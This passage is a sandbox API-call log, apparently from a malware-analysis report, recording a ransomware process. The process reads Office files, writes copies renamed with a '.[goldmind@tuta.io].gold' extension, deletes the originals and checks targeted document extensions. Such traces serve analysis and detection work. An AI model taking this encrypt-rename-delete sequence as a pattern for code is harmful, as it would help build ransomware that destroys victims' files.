CloseHandle (hObject=0x188) returned 1 [0100.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 0x20 [0100.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0100.862] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.862] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0100.862] GetLastError () returned 0x0 [0100.863] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x9760, lpOverlapped=0x0) returned 1 [0100.864] WriteFile (in: hFile=0x3c8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x9770, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x9770, lpOverlapped=0x0) returned 1 [0100.866] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.866] WriteFile (in: hFile=0x3c8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0100.866] SetEndOfFile (hFile=0x3c8) returned 1 [0100.866] CloseHandle (hObject=0x3c8) returned 1 [0100.866] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.866] SetEndOfFile (hFile=0x38c) returned 1 [0100.868] CloseHandle (hObject=0x38c) returned 1 [0100.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 1 [0100.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.871] lstrlenW (lpString=".doc") returned 4 [0100.871] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0100.871] lstrlenW (lpString=".docx") returned 5 [0100.871] lstrcmpiW (lpString1=".docx", lpString2="V.VSL") returned -1 [0100.871] lstrlenW (lpString=".pdf") returned 4 [0100.871] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0100.871] lstrlenW (lpString=".xls") returned 4 [0100.871] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0100.871] lstrlenW (lpString=".xlsx") returned 5 [0100.871] lstrcmpiW (lpString1=".xlsx", lpString2="V.VSL") returned -1 [0100.871] lstrlenW (lpString=".ppt") returned 4 [0100.871] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0100.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.871] lstrlenW (lpString=".zip") returned 4 [0100.871] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0100.871] lstrlenW (lpString=".rar") returned 4 [0100.871] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0100.871] lstrlenW (lpString=".bz2") returned 4 [0100.871] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0100.871] lstrlenW (lpString=".7z") returned 3 [0100.871] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0100.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.871] lstrlenW (lpString=".dbf") returned 4 [0100.871] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0100.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.871] lstrlenW (lpString=".1cd") returned 4 [0100.871] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0100.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.871] lstrlenW (lpString=".jpg") returned 4 [0100.871] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0100.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.871] lstrlenW (lpString=".doc") returned 4 [0100.871] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0100.871] lstrlenW (lpString=".docx") returned 5 [0100.871] lstrcmpiW (lpString1=".docx", lpString2="V.VSL") returned -1 [0100.872] lstrlenW (lpString=".pdf") returned 4 [0100.872] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0100.872] lstrlenW (lpString=".xls") returned 4 [0100.872] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0100.872] lstrlenW (lpString=".xlsx") returned 5 [0100.872] lstrcmpiW (lpString1=".xlsx", lpString2="V.VSL") returned -1 [0100.872] lstrlenW (lpString=".ppt") returned 4 [0100.872] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0100.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.872] lstrlenW (lpString=".zip") returned 4 [0100.872] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0100.872] lstrlenW (lpString=".rar") returned 4 [0100.872] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0100.872] lstrlenW (lpString=".bz2") returned 4 [0100.872] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0100.872] lstrlenW (lpString=".7z") returned 3 [0100.872] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0100.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.872] lstrlenW (lpString=".dbf") returned 4 [0100.872] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0100.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.872] lstrlenW (lpString=".1cd") returned 4 [0100.872] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0100.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0100.872] lstrlenW (lpString=".jpg") returned 4 [0100.872] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0100.872] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0100.872] lstrlenW (lpString="EQPLIST.VRD") returned 11 [0100.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0100.873] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1699) returned 1 [0100.873] CloseHandle (hObject=0x38c) returned 1 [0100.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 0x20 [0100.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0100.874] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.874] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0100.874] GetLastError () returned 0x0 [0100.874] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x6a3, lpOverlapped=0x0) returned 1 [0100.875] WriteFile (in: hFile=0x3c8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0100.876] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.876] WriteFile (in: hFile=0x3c8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0100.876] SetEndOfFile (hFile=0x3c8) returned 1 [0100.876] CloseHandle (hObject=0x3c8) returned 1 [0100.876] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.876] SetEndOfFile (hFile=0x38c) returned 1 [0100.881] CloseHandle (hObject=0x38c) returned 1 [0100.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 1 [0100.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.882] lstrlenW (lpString=".doc") returned 4 [0100.882] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0100.882] lstrlenW (lpString=".docx") returned 5 [0100.882] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0100.882] lstrlenW (lpString=".pdf") returned 4 [0100.882] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0100.882] lstrlenW (lpString=".xls") returned 4 [0100.882] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0100.882] lstrlenW (lpString=".xlsx") returned 5 [0100.882] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0100.882] lstrlenW (lpString=".ppt") returned 4 [0100.882] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0100.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.882] lstrlenW (lpString=".zip") returned 4 [0100.882] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0100.882] lstrlenW (lpString=".rar") returned 4 [0100.882] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0100.882] lstrlenW (lpString=".bz2") returned 4 [0100.882] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0100.882] lstrlenW (lpString=".7z") returned 3 [0100.882] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0100.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.882] lstrlenW (lpString=".dbf") returned 4 [0100.882] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0100.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.882] lstrlenW (lpString=".1cd") returned 4 [0100.882] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0100.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.882] lstrlenW (lpString=".jpg") returned 4 [0100.882] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0100.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.882] lstrlenW (lpString=".doc") returned 4 [0100.882] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0100.883] lstrlenW (lpString=".docx") returned 5 [0100.883] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0100.883] lstrlenW (lpString=".pdf") returned 4 [0100.883] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0100.883] lstrlenW (lpString=".xls") returned 4 [0100.883] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0100.883] lstrlenW (lpString=".xlsx") returned 5 [0100.883] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0100.883] lstrlenW (lpString=".ppt") returned 4 [0100.883] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0100.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.883] lstrlenW (lpString=".zip") returned 4 [0100.883] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0100.883] lstrlenW (lpString=".rar") returned 4 [0100.883] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0100.883] lstrlenW (lpString=".bz2") returned 4 [0100.883] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0100.883] lstrlenW (lpString=".7z") returned 3 [0100.883] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0100.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.883] lstrlenW (lpString=".dbf") returned 4 [0100.883] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0100.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.883] lstrlenW (lpString=".1cd") returned 4 [0100.883] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0100.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD") returned 59 [0100.883] lstrlenW (lpString=".jpg") returned 4 [0100.883] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0100.883] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0100.883] lstrlenW (lpString="EXCEL.DEV.HXS") returned 13 [0100.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0100.884] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=7024126) returned 1 [0100.884] CloseHandle (hObject=0x38c) returned 1 [0100.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs")) returned 0x20 [0100.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0100.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.884] lstrlenW (lpString=".doc") returned 4 [0100.884] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0100.884] lstrlenW (lpString=".docx") returned 5 [0100.885] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0100.885] lstrlenW (lpString=".pdf") returned 4 [0100.885] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0100.885] lstrlenW (lpString=".xls") returned 4 [0100.885] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0100.885] lstrlenW (lpString=".xlsx") returned 5 [0100.885] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0100.885] lstrlenW (lpString=".ppt") returned 4 [0100.885] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0100.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.885] lstrlenW (lpString=".zip") returned 4 [0100.885] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0100.885] lstrlenW (lpString=".rar") returned 4 [0100.885] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0100.885] lstrlenW (lpString=".bz2") returned 4 [0100.885] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0100.885] lstrlenW (lpString=".7z") returned 3 [0100.885] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0100.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.885] lstrlenW (lpString=".dbf") returned 4 [0100.885] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0100.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.885] lstrlenW (lpString=".1cd") returned 4 [0100.885] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0100.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.885] lstrlenW (lpString=".jpg") returned 4 [0100.885] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0100.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.885] lstrlenW (lpString=".doc") returned 4 [0100.885] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0100.885] lstrlenW (lpString=".docx") returned 5 [0100.885] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0100.885] lstrlenW (lpString=".pdf") returned 4 [0100.885] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0100.885] lstrlenW (lpString=".xls") returned 4 [0100.885] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0100.885] lstrlenW (lpString=".xlsx") returned 5 [0100.885] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0100.885] lstrlenW (lpString=".ppt") returned 4 [0100.885] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0100.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.885] lstrlenW (lpString=".zip") returned 4 [0100.885] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0100.885] lstrlenW (lpString=".rar") returned 4 [0100.885] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0100.885] lstrlenW (lpString=".bz2") returned 4 [0100.885] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0100.885] lstrlenW (lpString=".7z") returned 3 [0100.885] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0100.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.885] lstrlenW (lpString=".dbf") returned 4 [0100.885] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0100.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.885] lstrlenW (lpString=".1cd") returned 4 [0100.886] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0100.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61 [0100.886] lstrlenW (lpString=".jpg") returned 4 [0100.886] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0100.886] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0100.886] lstrlenW (lpString="EXCEL.DEV_COL.HXC") returned 17 [0100.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0100.887] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=641) returned 1 [0100.887] CloseHandle (hObject=0x38c) returned 1 [0100.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) returned 0x20 [0100.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0100.887] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.887] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0100.888] GetLastError () returned 0x0 [0100.888] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x281, lpOverlapped=0x0) returned 1 [0100.889] WriteFile (in: hFile=0x3c8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x290, lpOverlapped=0x0) returned 1 [0100.889] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.889] WriteFile (in: hFile=0x3c8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0100.890] SetEndOfFile (hFile=0x3c8) returned 1 [0100.890] CloseHandle (hObject=0x3c8) returned 1 [0100.890] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.890] SetEndOfFile (hFile=0x38c) returned 1 [0100.891] CloseHandle (hObject=0x38c) returned 1 [0100.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc")) returned 1 [0100.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC") returned 65 [0100.892] lstrlenW (lpString="C:\\Program Files\\Microsoft 